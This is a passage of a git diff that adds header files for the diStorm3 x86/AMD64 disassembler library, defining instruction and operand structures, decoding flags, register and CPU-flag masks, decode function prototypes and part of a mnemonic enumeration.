FLAG_PRIVILEGED_INSTRUCTION) != 0) + +/* + * Macros to extract segment registers from 'segment': + */ +#define SEGMENT_DEFAULT 0x80 +#define SEGMENT_SET(di, seg) ((di->segment) |= seg) +#define SEGMENT_GET(segment) (((segment) == R_NONE) ? R_NONE : ((segment) & 0x7f)) +#define SEGMENT_IS_DEFAULT(segment) (((segment) & SEGMENT_DEFAULT) == SEGMENT_DEFAULT) + + +/* Decodes modes of the disassembler, 16 bits or 32 bits or 64 bits for AMD64, x86-64. */ +typedef enum { Decode16Bits = 0, Decode32Bits = 1, Decode64Bits = 2 } _DecodeType; + +typedef OFFSET_INTEGER _OffsetType; + +typedef struct { + _OffsetType codeOffset, nextOffset; /* nextOffset is OUT only. */ + const uint8_t* code; + int codeLen; /* Using signed integer makes it easier to detect an underflow. */ + _DecodeType dt; + unsigned int features; +} _CodeInfo; + +typedef enum { O_NONE, O_REG, O_IMM, O_IMM1, O_IMM2, O_DISP, O_SMEM, O_MEM, O_PC, O_PTR } _OperandType; + +typedef union { + /* Used by O_IMM: */ + int8_t sbyte; + uint8_t byte; + int16_t sword; + uint16_t word; + int32_t sdword; + uint32_t dword; + int64_t sqword; /* All immediates are SIGN-EXTENDED to 64 bits! */ + uint64_t qword; + + /* Used by O_PC: (Use GET_TARGET_ADDR).*/ + _OffsetType addr; /* It's a relative offset as for now. */ + + /* Used by O_PTR: */ + struct { + uint16_t seg; + /* Can be 16 or 32 bits, size is in ops[n].size. */ + uint32_t off; + } ptr; + + /* Used by O_IMM1 (i1) and O_IMM2 (i2). ENTER instruction only. */ + struct { + uint32_t i1; + uint32_t i2; + } ex; +} _Value; + +typedef struct { + /* Type of operand: + O_NONE: operand is to be ignored. + O_REG: index holds global register index. + O_IMM: instruction.imm. + O_IMM1: instruction.imm.ex.i1. + O_IMM2: instruction.imm.ex.i2. + O_DISP: memory dereference with displacement only, instruction.disp. + O_SMEM: simple memory dereference with optional displacement (a single register memory dereference). + O_MEM: complex memory dereference (optional fields: s/i/b/disp). + O_PC: the relative address of a branch instruction (instruction.imm.addr). + O_PTR: the absolute target address of a far branch instruction (instruction.imm.ptr.seg/off). + */ + uint8_t type; /* _OperandType */ + + /* Index of: + O_REG: holds global register index + O_SMEM: holds the 'base' register. E.G: [ECX], [EBX+0x1234] are both in operand.index. + O_MEM: holds the 'index' register. E.G: [EAX*4] is in operand.index. + */ + uint8_t index; + + /* Size in bits of: + O_REG: register + O_IMM: instruction.imm + O_IMM1: instruction.imm.ex.i1 + O_IMM2: instruction.imm.ex.i2 + O_DISP: instruction.disp + O_SMEM: size of indirection. + O_MEM: size of indirection. + O_PC: size of the relative offset + O_PTR: size of instruction.imm.ptr.off (16 or 32) + */ + uint16_t size; +} _Operand; + +#define OPCODE_ID_NONE 0 +/* Instruction could not be disassembled. */ +#define FLAG_NOT_DECODABLE ((uint16_t)-1) +/* The instruction locks memory access. */ +#define FLAG_LOCK (1 << 0) +/* The instruction is prefixed with a REPNZ. */ +#define FLAG_REPNZ (1 << 1) +/* The instruction is prefixed with a REP, this can be a REPZ, it depends on the specific instruction. */ +#define FLAG_REP (1 << 2) +/* Indicates there is a hint taken for Jcc instructions only. */ +#define FLAG_HINT_TAKEN (1 << 3) +/* Indicates there is a hint non-taken for Jcc instructions only. */ +#define FLAG_HINT_NOT_TAKEN (1 << 4) +/* The Imm value is signed extended (E.G in 64 bit decoding mode, a 32 bit imm is usually sign extended into 64 bit imm). */ +#define FLAG_IMM_SIGNED (1 << 5) +/* The destination operand is writable. */ +#define FLAG_DST_WR (1 << 6) +/* The instruction uses RIP-relative indirection. */ +#define FLAG_RIP_RELATIVE (1 << 7) + +/* See flag FLAG_GET_XXX macros above. */ + +/* The instruction is privileged and can only be used from Ring0. */ +#define FLAG_PRIVILEGED_INSTRUCTION (1 << 15) + +/* No register was defined. */ +#define R_NONE ((uint8_t)-1) + +#define REGS64_BASE 0 +#define REGS32_BASE 16 +#define REGS16_BASE 32 +#define REGS8_BASE 48 +#define REGS8_REX_BASE 64 +#define SREGS_BASE 68 +#define FPUREGS_BASE 75 +#define MMXREGS_BASE 83 +#define SSEREGS_BASE 91 +#define AVXREGS_BASE 107 +#define CREGS_BASE 123 +#define DREGS_BASE 132 + +#define OPERANDS_NO (4) + +typedef struct { + /* Used by ops[n].type == O_IMM/O_IMM1&O_IMM2/O_PTR/O_PC. Its size is ops[n].size. */ + _Value imm; + /* Used by ops[n].type == O_SMEM/O_MEM/O_DISP. Its size is dispSize. */ + uint64_t disp; + /* Virtual address of first byte of instruction. */ + _OffsetType addr; + /* General flags of instruction, holds prefixes and more, if FLAG_NOT_DECODABLE, instruction is invalid. */ + uint16_t flags; + /* Unused prefixes mask, for each bit that is set that prefix is not used (LSB is byte [addr + 0]). */ + uint16_t unusedPrefixesMask; + /* Mask of registers that were used in the operands, only used for quick look up, in order to know *some* operand uses that register class. */ + uint32_t usedRegistersMask; + /* ID of opcode in the global opcode table. Use for mnemonic look up. */ + uint16_t opcode; + /* Up to four operands per instruction, ignored if ops[n].type == O_NONE. */ + _Operand ops[OPERANDS_NO]; + /* Size of the whole instruction in bytes. */ + uint8_t size; + /* Segment information of memory indirection, default segment, or overriden one, can be -1. Use SEGMENT macros. */ + uint8_t segment; + /* Used by ops[n].type == O_MEM. Base global register index (might be R_NONE), scale size (2/4/8), ignored for 0 or 1. */ + uint8_t base, scale; + uint8_t dispSize; + /* Meta defines the instruction set class, and the flow control flags. Use META macros. */ + uint8_t meta; + /* The CPU flags that the instruction operates upon. */ + uint16_t modifiedFlagsMask, testedFlagsMask, undefinedFlagsMask; +} _DInst; + +#ifndef DISTORM_LIGHT + +/* Static size of strings. Do not change this value. Keep Python wrapper in sync. */ +#define MAX_TEXT_SIZE (48) +typedef struct { + unsigned int length; + unsigned char p[MAX_TEXT_SIZE]; /* p is a null terminated string. */ +} _WString; + +/* + * Old decoded instruction structure in text format. + * Used only for backward compatibility with diStorm64. + * This structure holds all information the disassembler generates per instruction. + */ +typedef struct { + _WString mnemonic; /* Mnemonic of decoded instruction, prefixed if required by REP, LOCK etc. */ + _WString operands; /* Operands of the decoded instruction, up to 3 operands, comma-seperated. */ + _WString instructionHex; /* Hex dump - little endian, including prefixes. */ + unsigned int size; /* Size of decoded instruction in bytes. */ + _OffsetType offset; /* Start offset of the decoded instruction. */ +} _DecodedInst; + +#endif /* !DISTORM_LIGHT */ + +/* Register masks for quick look up, each mask indicates one of a register-class that is being used in some operand. */ +#define RM_AX 1 /* AL, AH, AX, EAX, RAX */ +#define RM_CX 2 /* CL, CH, CX, ECX, RCX */ +#define RM_DX 4 /* DL, DH, DX, EDX, RDX */ +#define RM_BX 8 /* BL, BH, BX, EBX, RBX */ +#define RM_SP 0x10 /* SPL, SP, ESP, RSP */ +#define RM_BP 0x20 /* BPL, BP, EBP, RBP */ +#define RM_SI 0x40 /* SIL, SI, ESI, RSI */ +#define RM_DI 0x80 /* DIL, DI, EDI, RDI */ +#define RM_FPU 0x100 /* ST(0) - ST(7) */ +#define RM_MMX 0x200 /* MM0 - MM7 */ +#define RM_SSE 0x400 /* XMM0 - XMM15 */ +#define RM_AVX 0x800 /* YMM0 - YMM15 */ +#define RM_CR 0x1000 /* CR0, CR2, CR3, CR4, CR8 */ +#define RM_DR 0x2000 /* DR0, DR1, DR2, DR3, DR6, DR7 */ +#define RM_R8 0x4000 /* R8B, R8W, R8D, R8 */ +#define RM_R9 0x8000 /* R9B, R9W, R9D, R9 */ +#define RM_R10 0x10000 /* R10B, R10W, R10D, R10 */ +#define RM_R11 0x20000 /* R11B, R11W, R11D, R11 */ +#define RM_R12 0x40000 /* R12B, R12W, R12D, R12 */ +#define RM_R13 0x80000 /* R13B, R13W, R13D, R13 */ +#define RM_R14 0x100000 /* R14B, R14W, R14D, R14 */ +#define RM_R15 0x200000 /* R15B, R15W, R15D, R15 */ + +/* RIP should be checked using the 'flags' field and FLAG_RIP_RELATIVE. + * Segments should be checked using the segment macros. + * For now R8 - R15 are not supported and non general purpose registers map into same RM. + */ + +/* CPU flags that instructions modify, test or undefine (are EFLAGS compatible!). */ +#define D_CF 1 /* Carry */ +#define D_PF 4 /* Parity */ +#define D_AF 0x10 /* Auxiliary */ +#define D_ZF 0x40 /* Zero */ +#define D_SF 0x80 /* Sign */ +#define D_IF 0x200 /* Interrupt */ +#define D_DF 0x400 /* Direction */ +#define D_OF 0x800 /* Overflow */ + +/* + * Instructions Set classes: + * if you want a better understanding of the available classes, look at disOps project, file: x86sets.py. + */ +/* Indicates the instruction belongs to the General Integer set. */ +#define ISC_INTEGER 1 +/* Indicates the instruction belongs to the 387 FPU set. */ +#define ISC_FPU 2 +/* Indicates the instruction belongs to the P6 set. */ +#define ISC_P6 3 +/* Indicates the instruction belongs to the MMX set. */ +#define ISC_MMX 4 +/* Indicates the instruction belongs to the SSE set. */ +#define ISC_SSE 5 +/* Indicates the instruction belongs to the SSE2 set. */ +#define ISC_SSE2 6 +/* Indicates the instruction belongs to the SSE3 set. */ +#define ISC_SSE3 7 +/* Indicates the instruction belongs to the SSSE3 set. */ +#define ISC_SSSE3 8 +/* Indicates the instruction belongs to the SSE4.1 set. */ +#define ISC_SSE4_1 9 +/* Indicates the instruction belongs to the SSE4.2 set. */ +#define ISC_SSE4_2 10 +/* Indicates the instruction belongs to the AMD's SSE4.A set. */ +#define ISC_SSE4_A 11 +/* Indicates the instruction belongs to the 3DNow! set. */ +#define ISC_3DNOW 12 +/* Indicates the instruction belongs to the 3DNow! Extensions set. */ +#define ISC_3DNOWEXT 13 +/* Indicates the instruction belongs to the VMX (Intel) set. */ +#define ISC_VMX 14 +/* Indicates the instruction belongs to the SVM (AMD) set. */ +#define ISC_SVM 15 +/* Indicates the instruction belongs to the AVX (Intel) set. */ +#define ISC_AVX 16 +/* Indicates the instruction belongs to the FMA (Intel) set. */ +#define ISC_FMA 17 +/* Indicates the instruction belongs to the AES/AVX (Intel) set. */ +#define ISC_AES 18 +/* Indicates the instruction belongs to the CLMUL (Intel) set. */ +#define ISC_CLMUL 19 + +/* Features for decompose: */ +#define DF_NONE 0 +/* The decoder will limit addresses to a maximum of 16 bits. */ +#define DF_MAXIMUM_ADDR16 1 +/* The decoder will limit addresses to a maximum of 32 bits. */ +#define DF_MAXIMUM_ADDR32 2 +/* The decoder will return only flow control instructions (and filter the others internally). */ +#define DF_RETURN_FC_ONLY 4 +/* The decoder will stop and return to the caller when the instruction 'CALL' (near and far) was decoded. */ +#define DF_STOP_ON_CALL 8 +/* The decoder will stop and return to the caller when the instruction 'RET' (near and far) was decoded. */ +#define DF_STOP_ON_RET 0x10 +/* The decoder will stop and return to the caller when the instruction system-call/ret was decoded. */ +#define DF_STOP_ON_SYS 0x20 +/* The decoder will stop and return to the caller when any of the branch 'JMP', (near and far) instructions were decoded. */ +#define DF_STOP_ON_UNC_BRANCH 0x40 +/* The decoder will stop and return to the caller when any of the conditional branch instruction were decoded. */ +#define DF_STOP_ON_CND_BRANCH 0x80 +/* The decoder will stop and return to the caller when the instruction 'INT' (INT, INT1, INTO, INT 3) was decoded. */ +#define DF_STOP_ON_INT 0x100 +/* The decoder will stop and return to the caller when any of the 'CMOVxx' instruction was decoded. */ +#define DF_STOP_ON_CMOV 0x200 +/* The decoder will stop and return to the caller when any flow control instruction was decoded. */ +#define DF_STOP_ON_FLOW_CONTROL (DF_STOP_ON_CALL | DF_STOP_ON_RET | DF_STOP_ON_SYS | DF_STOP_ON_UNC_BRANCH | DF_STOP_ON_CND_BRANCH | DF_STOP_ON_INT | DF_STOP_ON_CMOV) + +/* Indicates the instruction is not a flow-control instruction. */ +#define FC_NONE 0 +/* Indicates the instruction is one of: CALL, CALL FAR. */ +#define FC_CALL 1 +/* Indicates the instruction is one of: RET, IRET, RETF. */ +#define FC_RET 2 +/* Indicates the instruction is one of: SYSCALL, SYSRET, SYSENTER, SYSEXIT. */ +#define FC_SYS 3 +/* Indicates the instruction is one of: JMP, JMP FAR. */ +#define FC_UNC_BRANCH 4 +/* + * Indicates the instruction is one of: + * JCXZ, JO, JNO, JB, JAE, JZ, JNZ, JBE, JA, JS, JNS, JP, JNP, JL, JGE, JLE, JG, LOOP, LOOPZ, LOOPNZ. + */ +#define FC_CND_BRANCH 5 +/* Indiciates the instruction is one of: INT, INT1, INT 3, INTO, UD2. */ +#define FC_INT 6 +/* Indicates the instruction is one of: CMOVxx. */ +#define FC_CMOV 7 + +/* Return code of the decoding function. */ +typedef enum { DECRES_NONE = 0, DECRES_SUCCESS, DECRES_MEMORYERR, DECRES_INPUTERR, DECRES_FILTERED } _DecodeResult; + +_DecodeResult decode_internal(_CodeInfo* ci, int supportOldIntr, _DInst result[], unsigned int maxResultCount, unsigned int* usedInstructionsCount); + +/* Define the following interface functions only for outer projects. */ +#if !(defined(DISTORM_STATIC) || defined(DISTORM_DYNAMIC)) + +/* distorm_decode + * Input: + * offset - Origin of the given code (virtual address that is), NOT an offset in code. + * code - Pointer to the code buffer to be disassembled. + * length - Amount of bytes that should be decoded from the code buffer. + * dt - Decoding mode, 16 bits (Decode16Bits), 32 bits (Decode32Bits) or AMD64 (Decode64Bits). + * result - Array of type _DecodeInst which will be used by this function in order to return the disassembled instructions. + * maxInstructions - The maximum number of entries in the result array that you pass to this function, so it won't exceed its bound. + * usedInstructionsCount - Number of the instruction that successfully were disassembled and written to the result array. + * Output: usedInstructionsCount will hold the number of entries used in the result array + * and the result array itself will be filled with the disassembled instructions. + * Return: DECRES_SUCCESS on success (no more to disassemble), DECRES_INPUTERR on input error (null code buffer, invalid decoding mode, etc...), + * DECRES_MEMORYERR when there are not enough entries to use in the result array, BUT YOU STILL have to check for usedInstructionsCount! + * Side-Effects: Even if the return code is DECRES_MEMORYERR, there might STILL be data in the + * array you passed, this function will try to use as much entries as possible! + * Notes: 1)The minimal size of maxInstructions is 15. + * 2)You will have to synchronize the offset,code and length by yourself if you pass code fragments and not a complete code block! + */ + +/* distorm_decompose + * See more documentation online at the GitHub project's wiki. + * + */ +#ifdef SUPPORT_64BIT_OFFSET + + _DecodeResult distorm_decompose64(_CodeInfo* ci, _DInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount); + #define distorm_decompose distorm_decompose64 + +#ifndef DISTORM_LIGHT + /* If distorm-light is defined, we won't export these text-formatting functionality. */ + _DecodeResult distorm_decode64(_OffsetType codeOffset, const unsigned char* code, int codeLen, _DecodeType dt, _DecodedInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount); + void distorm_format64(const _CodeInfo* ci, const _DInst* di, _DecodedInst* result); + #define distorm_decode distorm_decode64 + #define distorm_format distorm_format64 +#endif /*DISTORM_LIGHT*/ + +#else /*SUPPORT_64BIT_OFFSET*/ + + _DecodeResult distorm_decompose32(_CodeInfo* ci, _DInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount); + #define distorm_decompose distorm_decompose32 + +#ifndef DISTORM_LIGHT + /* If distorm-light is defined, we won't export these text-formatting functionality. */ + _DecodeResult distorm_decode32(_OffsetType codeOffset, const unsigned char* code, int codeLen, _DecodeType dt, _DecodedInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount); + void distorm_format32(const _CodeInfo* ci, const _DInst* di, _DecodedInst* result); + #define distorm_decode distorm_decode32 + #define distorm_format distorm_format32 +#endif /*DISTORM_LIGHT*/ + +#endif + +#endif /* DISTORM_STATIC */ + +#ifdef __cplusplus +} /* End Of Extern */ +#endif + +#endif /* DISTORM_H */ diff --git a/include/distorm/mnemonics.h b/include/distorm/mnemonics.h new file mode 100644 index 0000000..ef9889c --- /dev/null +++ b/include/distorm/mnemonics.h @@ -0,0 +1,301 @@ +/* +mnemonics.h + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#ifndef MNEMONICS_H +#define MNEMONICS_H + +#ifdef __cplusplus + extern "C" { +#endif + +#ifndef DISTORM_LIGHT + +typedef struct WMnemonic { + unsigned char length; + unsigned char p[1]; /* p is a null terminated string, which contains 'length' characters. */ +} _WMnemonic; + +typedef struct WRegister { + unsigned int length; + unsigned char p[6]; /* p is a null terminated string. */ +} _WRegister; + +extern const unsigned char _MNEMONICS[]; +extern const _WRegister _REGISTERS[]; + +#endif /* DISTORM_LIGHT */ + +#ifdef __cplusplus +} /* End Of Extern */ +#endif + +#define GET_REGISTER_NAME(r) (unsigned char*)_REGISTERS[(r)].p +#define GET_MNEMONIC_NAME(m) ((_WMnemonic*)&_MNEMONICS[(m)])->p + + typedef enum { + I_UNDEFINED = 0, I_AAA = 66, I_AAD = 389, I_AAM = 384, I_AAS = 76, I_ADC = 31, I_ADD = 11, I_ADDPD = 3132, + I_ADDPS = 3125, I_ADDSD = 3146, I_ADDSS = 3139, I_ADDSUBPD = 6416, I_ADDSUBPS = 6426, + I_AESDEC = 9231, I_AESDECLAST = 9248, I_AESENC = 9189, I_AESENCLAST = 9206, + I_AESIMC = 9172, I_AESKEYGENASSIST = 9817, I_AND = 41, I_ANDNPD = 3043, I_ANDNPS = 3035, + I_ANDPD = 3012, I_ANDPS = 3005, I_ARPL = 111, I_BLENDPD = 9394, I_BLENDPS = 9375, + I_BLENDVPD = 7641, I_BLENDVPS = 7631, I_BOUND = 104, I_BSF = 4368, I_BSR = 4380, + I_BSWAP = 960, I_BT = 872, I_BTC = 934, I_BTR = 912, I_BTS = 887, I_CALL = 456, + I_CALL_FAR = 260, I_CBW = 228, I_CDQ = 250, I_CDQE = 239, I_CLC = 492, I_CLD = 512, + I_CLFLUSH = 4351, I_CLGI = 1855, I_CLI = 502, I_CLTS = 541, I_CMC = 487, I_CMOVA = 694, + I_CMOVAE = 663, I_CMOVB = 656, I_CMOVBE = 686, I_CMOVG = 754, I_CMOVGE = 738, + I_CMOVL = 731, I_CMOVLE = 746, I_CMOVNO = 648, I_CMOVNP = 723, I_CMOVNS = 708, + I_CMOVNZ = 678, I_CMOVO = 641, I_CMOVP = 716, I_CMOVS = 701, I_CMOVZ = 671, + I_CMP = 71, I_CMPEQPD = 4471, I_CMPEQPS = 4392, I_CMPEQSD = 4629, I_CMPEQSS = 4550, + I_CMPLEPD = 4489, I_CMPLEPS = 4410, I_CMPLESD = 4647, I_CMPLESS = 4568, I_CMPLTPD = 4480, + I_CMPLTPS = 4401, I_CMPLTSD = 4638, I_CMPLTSS = 4559, I_CMPNEQPD = 4510, I_CMPNEQPS = 4431, + I_CMPNEQSD = 4668, I_CMPNEQSS = 4589, I_CMPNLEPD = 4530, I_CMPNLEPS = 4451, + I_CMPNLESD = 4688, I_CMPNLESS = 4609, I_CMPNLTPD = 4520, I_CMPNLTPS = 4441, + I_CMPNLTSD = 4678, I_CMPNLTSS = 4599, I_CMPORDPD = 4540, I_CMPORDPS = 4461, + I_CMPORDSD = 4698, I_CMPORDSS = 4619, I_CMPS = 301, I_CMPUNORDPD = 4498, I_CMPUNORDPS = 4419, + I_CMPUNORDSD = 4656, I_CMPUNORDSS = 4577, I_CMPXCHG = 898, I_CMPXCHG16B = 6395, + I_CMPXCHG8B = 6384, I_COMISD = 2801, I_COMISS = 2793, I_CPUID = 865, I_CQO = 255, + I_CRC32 = 9280, I_CVTDQ2PD = 6809, I_CVTDQ2PS = 3329, I_CVTPD2DQ = 6819, I_CVTPD2PI = 2703, + I_CVTPD2PS = 3255, I_CVTPH2PS = 4183, I_CVTPI2PD = 2517, I_CVTPI2PS = 2507, + I_CVTPS2DQ = 3339, I_CVTPS2PD = 3245, I_CVTPS2PH = 4193, I_CVTPS2PI = 2693, + I_CVTSD2SI = 2723, I_CVTSD2SS = 3275, I_CVTSI2SD = 2537, I_CVTSI2SS = 2527, + I_CVTSS2SD = 3265, I_CVTSS2SI = 2713, I_CVTTPD2DQ = 6798, I_CVTTPD2PI = 2636, + I_CVTTPS2DQ = 3349, I_CVTTPS2PI = 2625, I_CVTTSD2SI = 2658, I_CVTTSS2SI = 2647, + I_CWD = 245, I_CWDE = 233, I_DAA = 46, I_DAS = 56, I_DEC = 86, I_DIV = 1646, + I_DIVPD = 3521, I_DIVPS = 3514, I_DIVSD = 3535, I_DIVSS = 3528, I_DPPD = 9637, + I_DPPS = 9624, I_EMMS = 4122, I_ENTER = 340, I_EXTRACTPS = 9502, I_EXTRQ = 4158, + I_F2XM1 = 1192, I_FABS = 1123, I_FADD = 1023, I_FADDP = 1549, I_FBLD = 1601, + I_FBSTP = 1607, I_FCHS = 1117, I_FCLEX = 7311, I_FCMOVB = 1376, I_FCMOVBE = 1392, + I_FCMOVE = 1384, I_FCMOVNB = 1445, I_FCMOVNBE = 1463, I_FCMOVNE = 1454, I_FCMOVNU = 1473, + I_FCMOVU = 1401, I_FCOM = 1035, I_FCOMI = 1512, I_FCOMIP = 1623, I_FCOMP = 1041, + I_FCOMPP = 1563, I_FCOS = 1311, I_FDECSTP = 1238, I_FDIV = 1061, I_FDIVP = 1594, + I_FDIVR = 1067, I_FDIVRP = 1586, I_FEDISI = 1488, I_FEMMS = 574, I_FENI = 1482, + I_FFREE = 1527, I_FIADD = 1317, I_FICOM = 1331, I_FICOMP = 1338, I_FIDIV = 1361, + I_FIDIVR = 1368, I_FILD = 1418, I_FIMUL = 1324, I_FINCSTP = 1247, I_FINIT = 7326, + I_FIST = 1432, I_FISTP = 1438, I_FISTTP = 1424, I_FISUB = 1346, I_FISUBR = 1353, + I_FLD = 1074, I_FLD1 = 1141, I_FLDCW = 1098, I_FLDENV = 1090, I_FLDL2E = 1155, + I_FLDL2T = 1147, I_FLDLG2 = 1170, I_FLDLN2 = 1178, I_FLDPI = 1163, I_FLDZ = 1186, + I_FMUL = 1029, I_FMULP = 1556, I_FNCLEX = 7303, I_FNINIT = 7318, I_FNOP = 1111, + I_FNSAVE = 7333, I_FNSTCW = 7288, I_FNSTENV = 7271, I_FNSTSW = 7348, I_FPATAN = 1213, + I_FPREM = 1256, I_FPREM1 = 1230, I_FPTAN = 1206, I_FRNDINT = 1288, I_FRSTOR = 1519, + I_FSAVE = 7341, I_FSCALE = 1297, I_FSETPM = 1496, I_FSIN = 1305, I_FSINCOS = 1279, + I_FSQRT = 1272, I_FST = 1079, I_FSTCW = 7296, I_FSTENV = 7280, I_FSTP = 1084, + I_FSTSW = 7356, I_FSUB = 1048, I_FSUBP = 1579, I_FSUBR = 1054, I_FSUBRP = 1571, + I_FTST = 1129, I_FUCOM = 1534, I_FUCOMI = 1504, I_FUCOMIP = 1614, I_FUCOMP = 1541, + I_FUCOMPP = 1409, I_FXAM = 1135, I_FXCH = 1105, I_FXRSTOR = 9914, I_FXRSTOR64 = 9923, + I_FXSAVE = 9886, I_FXSAVE64 = 9894, I_FXTRACT = 1221, I_FYL2X = 1199, I_FYL2XP1 = 1263, + I_GETSEC = 633, I_HADDPD = 4203, I_HADDPS = 4211, I_HLT = 482, I_HSUBPD = 4237, + I_HSUBPS = 4245, I_IDIV = 1651, I_IMUL = 117, I_IN = 447, I_INC = 81, I_INS = 123, + I_INSERTPS = 9569, I_INSERTQ = 4165, I_INT = 367, I_INT_3 = 360, I_INT1 = 476, + I_INTO = 372, I_INVD = 555, I_INVEPT = 8306, I_INVLPG = 1727, I_INVLPGA = 1869, + I_INVPCID = 8323, I_INVVPID = 8314, I_IRET = 378, I_JA = 166, I_JAE = 147, + I_JB = 143, I_JBE = 161, I_JCXZ = 427, I_JECXZ = 433, I_JG = 202, I_JGE = 192, + I_JL = 188, I_JLE = 197, I_JMP = 462, I_JMP_FAR = 467, I_JNO = 138, I_JNP = 183, + I_JNS = 174, I_JNZ = 156, I_JO = 134, I_JP = 179, I_JRCXZ = 440, I_JS = 170, + I_JZ = 152, I_LAHF = 289, I_LAR = 522, I_LDDQU = 7016, I_LDMXCSR = 9944, I_LDS = 335, + I_LEA = 223, I_LEAVE = 347, I_LES = 330, I_LFENCE = 4287, I_LFS = 917, I_LGDT = 1703, + I_LGS = 922, I_LIDT = 1709, I_LLDT = 1668, I_LMSW = 1721, I_LODS = 313, I_LOOP = 421, + I_LOOPNZ = 406, I_LOOPZ = 414, I_LSL = 527, I_LSS = 907, I_LTR = 1674, I_LZCNT = 4385, + I_MASKMOVDQU = 7141, I_MASKMOVQ = 7131, I_MAXPD = 3581, I_MAXPS = 3574, I_MAXSD = 3595, + I_MAXSS = 3588, I_MFENCE = 4313, I_MINPD = 3461, I_MINPS = 3454, I_MINSD = 3475, + I_MINSS = 3468, I_MONITOR = 1771, I_MOV = 218, I_MOVAPD = 2481, I_MOVAPS = 2473, + I_MOVBE = 9273, I_MOVD = 3942, I_MOVDDUP = 2208, I_MOVDQ2Q = 6544, I_MOVDQA = 3968, + I_MOVDQU = 3976, I_MOVHLPS = 2173, I_MOVHPD = 2367, I_MOVHPS = 2359, I_MOVLHPS = 2350, + I_MOVLPD = 2190, I_MOVLPS = 2182, I_MOVMSKPD = 2837, I_MOVMSKPS = 2827, I_MOVNTDQ = 6871, + I_MOVNTDQA = 7917, I_MOVNTI = 952, I_MOVNTPD = 2578, I_MOVNTPS = 2569, I_MOVNTQ = 6863, + I_MOVNTSD = 2596, I_MOVNTSS = 2587, I_MOVQ = 3948, I_MOVQ2DQ = 6535, I_MOVS = 295, + I_MOVSD = 2132, I_MOVSHDUP = 2375, I_MOVSLDUP = 2198, I_MOVSS = 2125, I_MOVSX = 939, + I_MOVSXD = 10027, I_MOVUPD = 2117, I_MOVUPS = 2109, I_MOVZX = 927, I_MPSADBW = 9650, + I_MUL = 1641, I_MULPD = 3192, I_MULPS = 3185, I_MULSD = 3206, I_MULSS = 3199, + I_MWAIT = 1780, I_NEG = 1636, I_NOP = 581, I_NOT = 1631, I_OR = 27, I_ORPD = 3075, + I_ORPS = 3069, I_OUT = 451, I_OUTS = 128, I_PABSB = 7710, I_PABSD = 7740, I_PABSW = 7725, + I_PACKSSDW = 3871, I_PACKSSWB = 3703, I_PACKUSDW = 7938, I_PACKUSWB = 3781, + I_PADDB = 7226, I_PADDD = 7256, I_PADDQ = 6503, I_PADDSB = 6952, I_PADDSW = 6969, + I_PADDUSB = 6642, I_PADDUSW = 6661, I_PADDW = 7241, I_PALIGNR = 9432, I_PAND = 6629, + I_PANDN = 6687, I_PAUSE = 10035, I_PAVGB = 6702, I_PAVGUSB = 2100, I_PAVGW = 6747, + I_PBLENDVB = 7621, I_PBLENDW = 9413, I_PCLMULQDQ = 9669, I_PCMPEQB = 4065, + I_PCMPEQD = 4103, I_PCMPEQQ = 7898, I_PCMPEQW = 4084, I_PCMPESTRI = 9748, + I_PCMPESTRM = 9725, I_PCMPGTB = 3724, I_PCMPGTD = 3762, I_PCMPGTQ = 8109, + I_PCMPGTW = 3743, I_PCMPISTRI = 9794, I_PCMPISTRM = 9771, I_PEXTRB = 9451, + I_PEXTRD = 9468, I_PEXTRQ = 9476, I_PEXTRW = 6333, I_PF2ID = 1936, I_PF2IW = 1929, + I_PFACC = 2050, I_PFADD = 1999, I_PFCMPEQ = 2057, I_PFCMPGE = 1960, I_PFCMPGT = 2006, + I_PFMAX = 2015, I_PFMIN = 1969, I_PFMUL = 2066, I_PFNACC = 1943, I_PFPNACC = 1951, + I_PFRCP = 1976, I_PFRCPIT1 = 2022, I_PFRCPIT2 = 2073, I_PFRSQIT1 = 2032, I_PFRSQRT = 1983, + I_PFSUB = 1992, I_PFSUBR = 2042, I_PHADDD = 7397, I_PHADDSW = 7414, I_PHADDW = 7380, + I_PHMINPOSUW = 8281, I_PHSUBD = 7473, I_PHSUBSW = 7490, I_PHSUBW = 7456, I_PI2FD = 1922, + I_PI2FW = 1915, I_PINSRB = 9552, I_PINSRD = 9590, I_PINSRQ = 9598, I_PINSRW = 6316, + I_PMADDUBSW = 7433, I_PMADDWD = 7095, I_PMAXSB = 8196, I_PMAXSD = 8213, I_PMAXSW = 6986, + I_PMAXUB = 6670, I_PMAXUD = 8247, I_PMAXUW = 8230, I_PMINSB = 8128, I_PMINSD = 8145, + I_PMINSW = 6924, I_PMINUB = 6612, I_PMINUD = 8179, I_PMINUW = 8162, I_PMOVMSKB = 6553, + I_PMOVSXBD = 7776, I_PMOVSXBQ = 7797, I_PMOVSXBW = 7755, I_PMOVSXDQ = 7860, + I_PMOVSXWD = 7818, I_PMOVSXWQ = 7839, I_PMOVZXBD = 8004, I_PMOVZXBQ = 8025, + I_PMOVZXBW = 7983, I_PMOVZXDQ = 8088, I_PMOVZXWD = 8046, I_PMOVZXWQ = 8067, + I_PMULDQ = 7881, I_PMULHRSW = 7560, I_PMULHRW = 2083, I_PMULHUW = 6762, I_PMULHW = 6781, + I_PMULLD = 8264, I_PMULLW = 6518, I_PMULUDQ = 7076, I_POP = 22, I_POPA = 98, + I_POPCNT = 4360, I_POPF = 277, I_POR = 6941, I_PREFETCH = 1894, I_PREFETCHNTA = 2424, + I_PREFETCHT0 = 2437, I_PREFETCHT1 = 2449, I_PREFETCHT2 = 2461, I_PREFETCHW = 1904, + I_PSADBW = 7114, I_PSHUFB = 7363, I_PSHUFD = 4010, I_PSHUFHW = 4018, I_PSHUFLW = 4027, + I_PSHUFW = 4002, I_PSIGNB = 7509, I_PSIGND = 7543, I_PSIGNW = 7526, I_PSLLD = 7046, + I_PSLLDQ = 9869, I_PSLLQ = 7061, I_PSLLW = 7031, I_PSRAD = 6732, I_PSRAW = 6717, + I_PSRLD = 6473, I_PSRLDQ = 9852, I_PSRLQ = 6488, I_PSRLW = 6458, I_PSUBB = 7166, + I_PSUBD = 7196, I_PSUBQ = 7211, I_PSUBSB = 6890, I_PSUBSW = 6907, I_PSUBUSB = 6574, + I_PSUBUSW = 6593, I_PSUBW = 7181, I_PSWAPD = 2092, I_PTEST = 